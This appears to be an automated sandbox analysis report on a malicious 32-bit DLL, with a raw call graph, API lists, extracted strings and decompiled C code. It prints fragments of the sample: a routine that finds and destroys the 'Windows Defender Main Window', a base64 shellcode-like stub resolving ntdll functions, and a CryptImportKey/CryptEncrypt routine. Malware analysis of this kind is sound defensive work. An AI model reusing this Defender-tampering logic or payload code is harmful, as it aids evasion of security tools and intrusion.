23351 6cb42c10 __DllMainCRTStartup@12 41 API calls 23349->23351 23350->23319 23352 6cb42b6b task 23351->23352 23353 6cb43510 __DllMainCRTStartup@12 41 API calls 23352->23353 23353->23350 23365 6cb43140 23354->23365 23358 6cb4311f task 23357->23358 23359 6cb42090 43 API calls 23358->23359 23360 6cb41dff 23359->23360 23360->23333 23362 6cb4223f swap _Error_objects 23361->23362 23363 6cb42420 43 API calls 23362->23363 23364 6cb4226b 23363->23364 23364->23345 23366 6cb4314f task 23365->23366 23369 6cb42090 23366->23369 23371 6cb420b4 swap 23369->23371 23370 6cb4210a 23373 6cb42700 41 API calls 23370->23373 23371->23370 23375 6cb41bd0 23371->23375 23374 6cb42124 23373->23374 23374->23334 23376 6cb41be2 swap 23375->23376 23377 6cb42140 43 API calls 23376->23377 23378 6cb41c14 23377->23378 23378->23371 23394 6cb43835 std::ios_base::good _Error_objects 23393->23394 23395 6cb431d0 _Error_objects 43 API calls 23394->23395 23396 6cb43858 23394->23396 23395->23396 23525 6cb438b0 23396->23525 23398 6cb4389b 23398->23307 23400 6cb5ebd0 ___std_exception_copy 15 API calls 23399->23400 23401 6cb44397 GetSystemDirectoryA CreateDirectoryA 23400->23401 23402 6cb443ca 23401->23402 23402->23402 23403 6cb44350 23402->23403 23404 6cb44414 23402->23404 23406 6cb43b50 23403->23406 23529 6cb43b20 23404->23529 23407 6cb42520 __DllMainCRTStartup@12 23406->23407 23408 6cb43b7b GetCommandLineA 23407->23408 23409 6cb42490 _Error_objects 43 API calls 23408->23409 23410 6cb43b91 23409->23410 23411 6cb43770 43 API calls 23410->23411 23412 6cb43ba1 23411->23412 23413 6cb42730 task 41 API calls 23412->23413 23414 6cb43bad GetCommandLineA 23413->23414 23415 6cb42490 _Error_objects 43 API calls 23414->23415 23416 6cb43bbc 23415->23416 23417 6cb43770 43 API calls 23416->23417 23418 6cb43bcc 23417->23418 23419 6cb42730 task 41 API calls 23418->23419 23420 6cb43bd8 GetCommandLineA 23419->23420 23421 6cb42490 _Error_objects 43 API calls 23420->23421 23422 6cb43c21 23421->23422 23423 6cb43770 43 API calls 23422->23423 23424 6cb43c34 23423->23424 23425 6cb42730 task 41 API calls 23424->23425 23426 6cb43c43 VirtualAlloc GetCommandLineA 23425->23426 23427 6cb42490 _Error_objects 43 API calls 23426->23427 23428 6cb43c7d 23427->23428 23429 6cb43770 43 API calls 23428->23429 23430 6cb43c90 23429->23430 23431 6cb42730 task 41 API calls 23430->23431 23476 6cb43c9f 23431->23476 23432 6cb442a6 23433 6cb42750 __DllMainCRTStartup@12 41 API calls 23432->23433 23437 6cb442c3 23433->23437 23435 6cb43fec 23435->23432 23436 6cb44031 GetCommandLineA 23435->23436 23438 6cb42490 _Error_objects 43 API calls 23436->23438 23437->23312 23439 6cb44072 23438->23439 23440 6cb43770 43 API calls 23439->23440 23441 6cb44085 23440->23441 23442 6cb42730 task 41 API calls 23441->23442 23443 6cb44094 GetCommandLineA 23442->23443 23445 6cb42490 _Error_objects 43 API calls 23443->23445 23444 6cb42730 task 41 API calls 23446 6cb43d16 GetCommandLineA 23444->23446 23447 6cb440a6 23445->23447 23448 6cb42490 _Error_objects 43 API calls 23446->23448 23450 6cb43d28 23448->23450 23451 6cb43770 43 API calls 23450->23451 23454 6cb42730 task 41 API calls 23450->23454 23451->23450 23457 6cb43d4a GetCommandLineA 23454->23457 23459 6cb42490 _Error_objects 43 API calls 23457->23459 23459->23476 23467 6cb43420 41 API calls 23467->23476 23469 6cb43e16 GetCommandLineA 23471 6cb42490 _Error_objects 43 API calls 23469->23471 23470 6cb43dc1 GetCommandLineA 23473 6cb42490 _Error_objects 43 API calls 23470->23473 23474 6cb43e28 23471->23474 23473->23476 23478 6cb43770 43 API calls 23474->23478 23481 6cb42730 task 41 API calls 23474->23481 23476->23435 23476->23444 23476->23467 23476->23469 23476->23470 23477 6cb43770 43 API calls 23476->23477 23513 6cb42730 41 API calls task 23476->23513 23516 6cb42490 43 API calls _Error_objects 23476->23516 23532 6cb44480 23476->23532 23477->23476 23478->23474 23483 6cb43e4a GetCommandLineA 23481->23483 23486 6cb42490 _Error_objects 43 API calls 23483->23486 23488 6cb43e8b 23486->23488 23490 6cb43770 43 API calls 23488->23490 23492 6cb42730 task 41 API calls 23488->23492 23490->23488 23494 6cb43ead GetCommandLineA 23492->23494 23496 6cb42490 _Error_objects 43 API calls 23494->23496 23513->23476 23516->23476 23526 6cb438dc swap task _Max_value _Error_objects 23525->23526 23527 6cb431f0 allocator 43 API calls 23526->23527 23528 6cb439b3 swap task _Error_objects 23526->23528 23527->23528 23528->23398 23530 6cb43b26 GetTickCount64 GetTickCount64 23529->23530 23530->23530 23531 6cb43b40 23530->23531 23531->23402 23533 6cb5ec00 44 API calls 23532->23533 23534 6cb44493 23533->23534 23534->23476 23535 6cb4901c 23536 6cb4902c 23535->23536 23537 6cb57640 43 API calls 23536->23537 23538 6cb499ad 23537->23538 23597 6cb5f372 23538->23597 23541 6cb42730 task 41 API calls 23542 6cb49a56 23541->23542 23543 6cb42730 task 41 API calls 23542->23543 23544 6cb49a65 23543->23544 23545 6cb43a70 43 API calls 23544->23545 23546 6cb49a77 23545->23546 23547 6cb45040 43 API calls 23546->23547 23548 6cb49a89 23547->23548 23549 6cb43a70 43 API calls 23548->23549 23550 6cb49a9b 23549->23550 23551 6cb45040 43 API calls 23550->23551 23552 6cb49aac 23551->23552 23553 6cb43420 41 API calls 23552->23553 23558 6cb49ab7 std::ios_base::good 23553->23558 23554 6cb49c83 23555 6cb45040 43 API calls 23554->23555 23556 6cb49c95 23555->23556 23557 6cb43420 41 API calls 23556->23557 23559 6cb49ca0 23557->23559 23558->23554 23560 6cb42730 task 41 API calls 23558->23560 23561 6cb42420 43 API calls 23559->23561 23573 6cb49b35 23560->23573 23562 6cb49cba 23561->23562 23563 6cb42750 __DllMainCRTStartup@12 41 API calls 23562->23563 23564 6cb49cd8 23563->23564 23565 6cb42750 __DllMainCRTStartup@12 41 API calls 23564->23565 23566 6cb49ce7 23565->23566 23567 6cb42750 __DllMainCRTStartup@12 41 API calls 23566->23567 23568 6cb49cf6 23567->23568 23569 6cb42730 task 41 API calls 23568->23569 23570 6cb49d05 23569->23570 23571 6cb42730 task 41 API calls 23570->23571 23572 6cb49d14 23571->23572 23574 6cb42730 task 41 API calls 23572->23574 23577 6cb42730 task 41 API calls 23573->23577 23575 6cb49d23 23574->23575 23576 6cb42730 task 41 API calls 23575->23576 23578 6cb49d32 23576->23578 23579 6cb49c65 23577->23579 23580 6cb42730 task 41 API calls 23578->23580 23581 6cb42730 task 41 API calls 23579->23581 23582 6cb49d41 23580->23582 23583 6cb49c74 23581->23583 23585 6cb42730 task 41 API calls 23582->23585 23584 6cb42730 task 41 API calls 23583->23584 23584->23554 23586 6cb49d50 23585->23586 23616 6cb5f2bb 23597->23616 23602 6cb5f3ae 23604 6cb613c9 __dosmaperr 14 API calls 23602->23604 23603 6cb5f3ba 23605 6cb5f29e 17 API calls 23603->23605 23615 6cb5f3b3 23604->23615 23606 6cb5f3d9 23605->23606 23607 6cb5f3e2 23606->23607 23608 6cb5f3ee 23606->23608 23610 6cb613c9 __dosmaperr 14 API calls 23607->23610 23624 6cb61b2a MoveFileExW 23608->23624 23609 6cb49a1f 23609->23541 23613 6cb5f3e7 23610->23613 23612 6cb61657 __freea 14 API calls 23612->23609 23614 6cb61657 __freea 14 API calls 23613->23614 23613->23615 23614->23615 23615->23609 23615->23612 23617 6cb5ec8b 41 API calls 23616->23617 23618 6cb5f2cd 23617->23618 23620 6cb5f2df 23618->23620 23629 6cb618e9 23618->23629 23621 6cb5f29e 23620->23621 23635 6cb5f1ec 23621->23635 23625 6cb61b53 23624->23625 23626 6cb61b41 GetLastError 23624->23626 23625->23613 23627 6cb6136f __dosmaperr 14 API calls 23626->23627 23628 6cb61b4d 23627->23628 23628->23613 23632 6cb6170d 23629->23632 23633 6cb61826 _unexpected 5 API calls 23632->23633 23634 6cb61723 23633->23634 23634->23620 23636 6cb5f214 23635->23636 23637 6cb5f1fa 23635->23637 23638 6cb5f21b 23636->23638 23639 6cb5f23a 23636->23639 23653 6cb5f2fa 23637->23653 23643 6cb5f204 23638->23643 23657 6cb5f314 23638->23657 23641 6cb61691 ___scrt_uninitialize_crt MultiByteToWideChar 23639->23641 23644 6cb5f249 23641->23644 23643->23602 23643->23603 23645 6cb5f250 GetLastError 23644->23645 23647 6cb5f276 23644->23647 23648 6cb5f314 15 API calls 23644->23648 23662 6cb6136f 23645->23662 23647->23643 23649 6cb61691 ___scrt_uninitialize_crt MultiByteToWideChar 23647->23649 23648->23647 23651 6cb5f28d 23649->23651 23651->23643 23651->23645 23652 6cb613c9 __dosmaperr 14 API calls 23652->23643 23654 6cb5f305 23653->23654 23655 6cb5f30d 23653->23655 23656 6cb61657 __freea 14 API calls 23654->23656 23655->23643 23656->23655 23658 6cb5f2fa 14 API calls 23657->23658 23659 6cb5f322 23658->23659 23667 6cb5f353 23659->23667 23670 6cb613b6 23662->23670 23664 6cb6137a __dosmaperr 23665 6cb613c9 __dosmaperr 14 API calls 23664->23665 23666 6cb5f25c 23665->23666 23666->23652 23668 6cb61157 _Error_objects 15 API calls 23667->23668 23669 6cb5f333 23668->23669 23669->23643 23671 6cb60f1d __dosmaperr 14 API calls 23670->23671 23672 6cb613bb 23671->23672 23672->23664 23673 6cb5561f 23674 6cb55635 23673->23674 23675 6cb55c8a 23674->23675 23676 6cb43a70 43 API calls 23674->23676 23677 6cb576f0 43 API calls 23675->23677 23678 6cb55c7e 23676->23678 23679 6cb55ca8 23677->23679 23680 6cb45040 43 API calls 23678->23680 23681 6cb576f0 43 API calls 23679->23681 23680->23675 23682 6cb55ceb 23681->23682 23683 6cb56059 23682->23683 23689 6cb42490 _Error_objects 43 API calls 23682->23689 23692 6cb42730 task 41 API calls 23682->23692 23684 6cb43a70 43 API calls 23683->23684 23685 6cb56068 23684->23685 23686 6cb45040 43 API calls 23685->23686 23687 6cb56074 23686->23687 23688 6cb42750 __DllMainCRTStartup@12 41 API calls 23687->23688 23690 6cb56089 23688->23690 23689->23682 23691 6cb42750 __DllMainCRTStartup@12 41 API calls 23690->23691 23693 6cb56095 23691->23693 23692->23682 23694 6cb42750 __DllMainCRTStartup@12 41 API calls 23693->23694 23695 6cb560a1 23694->23695 23696 6cb42730 task 41 API calls 23695->23696 23697 6cb560b0 23696->23697 23698 6cb4abdf 23699 6cb4abf7 23698->23699 23700 6cb45040 43 API calls 23699->23700 23701 6cb4ac0f 23700->23701 23702 6cb43a70 43 API calls 23701->23702 23704 6cb4ac1f 23702->23704 23703 6cb43a70 43 API calls 23712 6cb4ac90 23703->23712 23704->23703 23705 6cb4ad4d 23706 6cb42420 43 API calls 23705->23706 23707 6cb4ad67 23706->23707 23708 6cb42750 __DllMainCRTStartup@12 41 API calls 23707->23708 23709 6cb4ad82 23708->23709 23710 6cb42750 __DllMainCRTStartup@12 41 API calls 23709->23710 23711 6cb4ad91 23710->23711 23713 6cb42750 __DllMainCRTStartup@12 41 API calls 23711->23713 23712->23705 23714 6cb44e30 43 API calls 23712->23714 23717 6cb42730 task 41 API calls 23712->23717 23715 6cb4ad9d 23713->23715 23714->23712 23716 6cb42730 task 41 API calls 23715->23716 23718 6cb4adac 23716->23718 23717->23712 23719 6cb42730 task 41 API calls 23718->23719 23720 6cb4adbb 23719->23720 23721 6cb42730 task 41 API calls 23720->23721 23722 6cb4adca 23721->23722 23723 6cb42730 task 41 API calls 23722->23723 23724 6cb4add9 23723->23724 23725 6cb42730 task 41 API calls 23724->23725 23726 6cb4ade8 23725->23726 23727 6cb42730 task 41 API calls 23726->23727 23728 6cb4adf7 23727->23728 23729 6cb42730 task 41 API calls 23728->23729 23730 6cb4ae06 23729->23730 23731 6cb42730 task 41 API calls 23730->23731 23732 6cb4ae15 23731->23732 23733 6cb42730 task 41 API calls 23732->23733 23734 6cb4ae24 23733->23734 23735 6cb42730 task 41 API calls 23734->23735 23736 6cb4ae33 23735->23736 23737 6cb42730 task 41 API calls 23736->23737 23738 6cb4ae45 23737->23738 23739 6cb60f1d GetLastError 23740 6cb60f33 23739->23740 23741 6cb60f39 23739->23741 23743 6cb61986 _unexpected 6 API calls 23740->23743 23742 6cb619c5 _unexpected 6 API calls 23741->23742 23745 6cb60f3d SetLastError 23741->23745 23744 6cb60f55 23742->23744 23743->23741 23744->23745 23747 6cb62007 _unexpected 12 API calls 23744->23747 23748 6cb60f6a 23747->23748 23749 6cb60f72 23748->23749 23750 6cb60f83 23748->23750 23751 6cb619c5 _unexpected 6 API calls 23749->23751 23752 6cb619c5 _unexpected 6 API calls 23750->23752 23753 6cb60f80 23751->23753 23754 6cb60f8f 23752->23754 23757 6cb61657 __freea 12 API calls 23753->23757 23755 6cb60f93 23754->23755 23756 6cb60faa 23754->23756 23759 6cb619c5 _unexpected 6 API calls 23755->23759 23758 6cb60bce _unexpected 12 API calls 23756->23758 23757->23745 23760 6cb60fb5 23758->23760 23759->23753 23761 6cb61657 __freea 12 API calls 23760->23761 23761->23745 23762 6cb45805 23765 6cb45815 23762->23765 23763 6cb45040 43 API calls 23764 6cb45d2c 23763->23764 23766 6cb57640 43 API calls 23764->23766 23765->23763 23767 6cb45d49 _Error_objects 23766->23767 23768 6cb42730 task 41 API calls 23767->23768 23769 6cb45d6d 23768->23769 23770 6cb42730 task 41 API calls 23769->23770 23771 6cb45da8 23770->23771 23772 6cb45040 43 API calls 23771->23772 23773 6cb45dc9 23772->23773 23774 6cb43420 41 API calls 23773->23774 23775 6cb45dd4 23774->23775 23776 6cb42750 __DllMainCRTStartup@12 41 API calls 23775->23776 23777 6cb45dfc 23776->23777 23778 6cb42750 __DllMainCRTStartup@12 41 API calls 23777->23778 23779 6cb45e0b 23778->23779 23780 6cb42730 task 41 API calls 23779->23780 23781 6cb45e1a 23780->23781 23782 6cb42730 task 41 API calls 23781->23782 23783 6cb45e29 23782->23783 23784 6cb42730 task 41 API calls 23783->23784 23785 6cb45e3b 23784->23785 23786 6cb4f945 23787 6cb4f955 23786->23787 23788 6cb4fc01 PathFileExistsW 23787->23788 23789 6cb49e20 43 API calls 23788->23789 23790 6cb4fc42 23789->23790 23791 6cb43420 41 API calls 23790->23791 23792 6cb4fc7c 23791->23792 23793 6cb502fc 23792->23793 23794 6cb45040 43 API calls 23792->23794 23795 6cb43a70 43 API calls 23793->23795 23794->23793 23796 6cb50314 23795->23796 23797 6cb45040 43 API calls 23796->23797 23798 6cb50326 23797->23798 23799 6cb43a70 43 API calls 23798->23799 23800 6cb50335 23799->23800 23801 6cb45040 43 API calls 23800->23801 23802 6cb50347 23801->23802 23803 6cb42750 __DllMainCRTStartup@12 41 API calls 23802->23803 23804 6cb5035f 23803->23804 23805 6cb42750 __DllMainCRTStartup@12 41 API calls 23804->23805 23806 6cb5036e 23805->23806 23807 6cb42750 __DllMainCRTStartup@12 41 API calls 23806->23807 23808 6cb5037d 23807->23808 23809 6cb42750 __DllMainCRTStartup@12 41 API calls 23808->23809 23810 6cb5038c 23809->23810 23811 6cb42730 task 41 API calls 23810->23811 23812 6cb5039e 23811->23812 23813 6cb41100 23814 6cb41134 23813->23814 23815 6cb4111d 23813->23815 23818 6cb41169 DefWindowProcA 23814->23818 23824 6cb41132 DefWindowProcA 23814->23824 23816 6cb41126 23815->23816 23817 6cb4113f CreateDialogParamA CloseWindow 23815->23817 23819 6cb411a3 PostQuitMessage 23816->23819 23820 6cb4112c 23816->23820 23822 6cb411c5 23817->23822 23818->23822 23819->23822 23823 6cb41197 DestroyWindow 23820->23823 23820->23824 23823->23822 23824->23822 23825 6cb58dce 23826 6cb49e20 43 API calls 23825->23826 23827 6cb58dda 23826->23827 23828 6cb42730 task 41 API calls 23827->23828 23830 6cb58e1a 23828->23830 23829 6cb42490 _Error_objects 43 API calls 23829->23830 23830->23829 23831 6cb42730 task 41 API calls 23830->23831 23834 6cb58e9d 23830->23834 23831->23830 23832 6cb58ffb 23833 6cb44e30 43 API calls 23833->23834 23834->23832 23834->23833 23835 6cb42730 41 API calls task 23834->23835 23835->23834 23836 6cb63c4a 23837 6cb63c57 23836->23837 23838 6cb62007 _unexpected 14 API calls 23837->23838 23839 6cb63c71 23838->23839 23840 6cb61657 __freea 14 API calls 23839->23840 23841 6cb63c7d 23840->23841 23842 6cb62007 _unexpected 14 API calls 23841->23842 23846 6cb63ca3 23841->23846 23844 6cb63c97 23842->23844 23843 6cb61a07 6 API calls 23843->23846 23845 6cb61657 __freea 14 API calls 23844->23845 23845->23846 23846->23843 23847 6cb63caf 23846->23847 23848 2c57e7b 23849 2c57e6a 23848->23849 23852 2c57fc5 23849->23852 23853 2c5802c RaiseException 23852->23853 23855 2c5804b 23852->23855 23857 2c57e77 23853->23857 23854 2c58143 23854->23857 23862 2c5818e GetProcAddress 23854->23862 23855->23854 23856 2c580b8 LoadLibraryA 23855->23856 23855->23857 23859 2c58108 InterlockedExchange 23855->23859 23858 2c580c7 GetLastError 23856->23858 23856->23859 23863 2c580e7 RaiseException 23858->23863 23864 2c580d9 23858->23864 23860 2c58116 23859->23860 23861 2c5813c FreeLibrary 23859->23861 23860->23854 23866 2c5811c LocalAlloc 23860->23866 23861->23854 23862->23857 23865 2c5819e GetLastError 23862->23865 23863->23857 23864->23859 23864->23863 23867 2c581b0 23865->23867 23866->23854 23868 2c5812a 23866->23868 23867->23857 23869 2c581be RaiseException 23867->23869 23868->23854 23869->23857 23870 2c57fbb 23871 2c57f50 23870->23871 23872 2c57fc5 10 API calls 23871->23872 23872->23871

                  Executed Functions

                  Function 6CB411D0 Relevance: 98.4, APIs: 52, Strings: 4, Instructions: 423windowCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 0 6cb411d0-6cb41203 1 6cb41234-6cb4123b 0->1 2 6cb41205-6cb4120c 0->2 5 6cb417c7-6cb417fa call 6cb42490 call 6cb442e0 1->5 6 6cb41241-6cb41248 1->6 3 6cb41792-6cb417bd DefWindowProcA 2->3 4 6cb41212-6cb41216 2->4 9 6cb4184c-6cb41859 3->9 7 6cb4121c-6cb41220 4->7 8 6cb41828-6cb41830 PostQuitMessage 4->8 25 6cb417ff-6cb41816 call 6cb42730 5->25 10 6cb4124e-6cb41255 6->10 11 6cb41818 6->11 14 6cb41226-6cb4122d 7->14 15 6cb4181c-6cb41826 DestroyWindow 7->15 13 6cb4184a 8->13 16 6cb4181a 10->16 17 6cb4125b 10->17 11->13 13->9 19 6cb41260-6cb41274 FindWindowA 14->19 20 6cb4122f 14->20 15->13 16->13 21 6cb41832-6cb41848 DefWindowProcA 17->21 23 6cb41785-6cb41787 ExitProcess 19->23 24 6cb4127a-6cb4154f DestroyWindow call 6cb42520 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStringsA call 6cb42490 call 6cb43770 call 6cb42730 call 6cb5ebd0 GetSystemDirectoryA GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStringsA call 6cb42490 call 6cb43770 call 6cb42730 PathAppendA call 6cb5beb0 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStringsA call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 FindFirstFileA 19->24 20->21 21->9 21->13 106 6cb41552-6cb41565 FindNextFileA 24->106 25->13 107 6cb41567-6cb41587 call 6cb42490 call 6cb43770 106->107 108 6cb4159d-6cb41688 FindClose GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 GetEnvironmentStrings call 6cb42490 call 6cb43770 call 6cb42730 call 6cb43420 GetTickCount call 6cb437c0 call 6cb431a0 call 6cb431b0 106->108 116 6cb4158c-6cb4159b call 6cb42730 107->116 141 6cb41693-6cb41699 108->141 116->106 142 6cb41723-6cb41727 141->142 143 6cb4169f-6cb416bf call 6cb433d0 LoadLibraryExA 141->143 144 6cb4175d-6cb4177e call 6cb43420 call 6cb42730 call 6cb42750 142->144 145 6cb41729-6cb41757 call 6cb42800 SendMessageTimeoutA KiUserCallbackDispatcher 142->145 150 6cb416c1-6cb416c9 143->150 151 6cb4171e 143->151 163 6cb41783-6cb4178d 144->163 145->144 155 6cb4170a-6cb41718 SleepEx FreeLibrary 150->155 156 6cb416cb-6cb416dd 150->156 151->141 155->151 159 6cb416df-6cb416e5 156->159 160 6cb416e8-6cb41707 call 6cb433d0 GetProcAddress 156->160 159->160 160->155 163->13
                  APIs
                  • FindWindowA.USER32 ref: 6CB41267
                  • DestroyWindow.USER32(00000000), ref: 6CB4127E
                  • GetEnvironmentStrings.KERNEL32 ref: 6CB41293
                  • task.LIBCPMTD ref: 6CB412B9
                  • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB412BE
                  • task.LIBCPMTD ref: 6CB412ED
                  • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB412F2
                  • task.LIBCPMTD ref: 6CB41321
                  • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB41326
                  • task.LIBCPMTD ref: 6CB41355
                  • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB4135A
                  • task.LIBCPMTD ref: 6CB41389
                  • GetEnvironmentStringsA.KERNEL32(?,00000000), ref: 6CB4138E
                  • task.LIBCPMTD ref: 6CB413BD
                  • GetSystemDirectoryA.KERNEL32 ref: 6CB413DB
                  • GetEnvironmentStrings.KERNEL32 ref: 6CB413E1
                  • DefWindowProcA.USER32(?,?,00000111,?), ref: 6CB417B7
                  • DestroyWindow.USER32(?), ref: 6CB41820
                  • PostQuitMessage.USER32(00000000), ref: 6CB4182A
                  • DefWindowProcA.USER32(?,?,00000403,?), ref: 6CB41842
                  Strings
                  • *.dll, xrefs: 6CB4147D
                  • Windows Defender Main Window, xrefs: 6CB41260
                  • vQdkKgJVw, xrefs: 6CB417C7, 6CB417D1
                  • VYvsgcRA////U1FSV1aJtUT///+JjUD////pgQAAAAAAAAAAAAAAAAAAAAAAAAB1jAAAAJwAAAEAAAADAAAA0yPNEM8WWNpHZXRQcm9jQWRkcmVzcwBMZHJHZXRQcm9jZWR1cmVBZGRyZXNzRXgATnRRdWVyeVZpcnR1YWxNZW1vcnkARGxsUmVnaXN0ZXJTZXJ2ZXIAbnRkbGwuZGxsAOgAAAAAj0X0gW30ZRhKAMeFXP////////9Si1X0i4LvF0oA, xrefs: 6CB417F0
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: EnvironmentStrings$task$Window$DestroyProc$DirectoryFindMessagePostQuitSystem
                  • String ID: *.dll$VYvsgcRA////U1FSV1aJtUT///+JjUD////pgQAAAAAAAAAAAAAAAAAAAAAAAAB1jAAAAJwAAAEAAAADAAAA0yPNEM8WWNpHZXRQcm9jQWRkcmVzcwBMZHJHZXRQcm9jZWR1cmVBZGRyZXNzRXgATnRRdWVyeVZpcnR1YWxNZW1vcnkARGxsUmVnaXN0ZXJTZXJ2ZXIAbnRkbGwuZGxsAOgAAAAAj0X0gW30ZRhKAMeFXP////////9Si1X0i4LvF0oA$Windows Defender Main Window$vQdkKgJVw
                  • API String ID: 3244807520-1408222696
                  • Opcode ID: 0ef29bc882ad8ca5aba1d060ca36d87f935fc98584675cf50f7c661e15e6d748
                  • Instruction ID: aef6f61a8dab9ace267598c97aa5942619f93796811bc2a8bbdce6c9da510b78
                  • Opcode Fuzzy Hash: 0ef29bc882ad8ca5aba1d060ca36d87f935fc98584675cf50f7c661e15e6d748
                  • Instruction Fuzzy Hash: E5128E71D04298DBCF04DBA4C858BEEBB78AF15304F14C198E156A7694DF346E48EFA2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C51508 Relevance: 18.2, APIs: 12, Instructions: 163encryptionCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 2971 2c51508-2c51548 CryptAcquireContextW 2972 2c5169f-2c516a5 GetLastError 2971->2972 2973 2c5154e-2c5158a memcpy CryptImportKey 2971->2973 2974 2c516a8-2c516af 2972->2974 2975 2c51590-2c515a2 CryptSetKeyParam 2973->2975 2976 2c5168a-2c51690 GetLastError 2973->2976 2977 2c51676-2c5167c GetLastError 2975->2977 2978 2c515a8-2c515b1 2975->2978 2979 2c51693-2c5169d CryptReleaseContext 2976->2979 2982 2c5167f-2c51688 CryptDestroyKey 2977->2982 2980 2c515b3-2c515b5 2978->2980 2981 2c515b9-2c515c6 call 2c533dc 2978->2981 2979->2974 2980->2981 2983 2c515b7 2980->2983 2986 2c5166d-2c51674 2981->2986 2987 2c515cc-2c515d5 2981->2987 2982->2979 2983->2981 2986->2982 2988 2c515d8-2c515e0 2987->2988 2989 2c515e5-2c51602 memcpy 2988->2989 2990 2c515e2 2988->2990 2991 2c51604-2c5161b CryptEncrypt 2989->2991 2992 2c5161d-2c51629 2989->2992 2990->2989 2993 2c51632-2c51634 2991->2993 2992->2993 2994 2c51644-2c5164f GetLastError 2993->2994 2995 2c51636-2c51640 2993->2995 2997 2c51651-2c51661 2994->2997 2998 2c51663-2c5166b call 2c561da 2994->2998 2995->2988 2996 2c51642 2995->2996 2996->2997 2997->2982 2998->2982
                  C-Code - Quality: 50%
                  			E02C51508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x2c5a0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x2c5a0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E02C533DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x2c5a0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x2c5a0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E02C561DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                  0x02c51511
                  0x02c51517
                  0x02c5151a
                  0x02c51520
                  0x02c51520
                  0x02c51522
                  0x02c51524
                  0x02c51527
                  0x02c5152d
                  0x02c5152e
                  0x02c5152f
                  0x02c51535
                  0x02c5153a
                  0x02c51540
                  0x02c51548
                  0x02c516a5
                  0x02c5154e
                  0x02c51550
                  0x02c51559
                  0x02c5155e
                  0x02c51570
                  0x02c51573
                  0x02c51577
                  0x02c5157e
                  0x02c51582
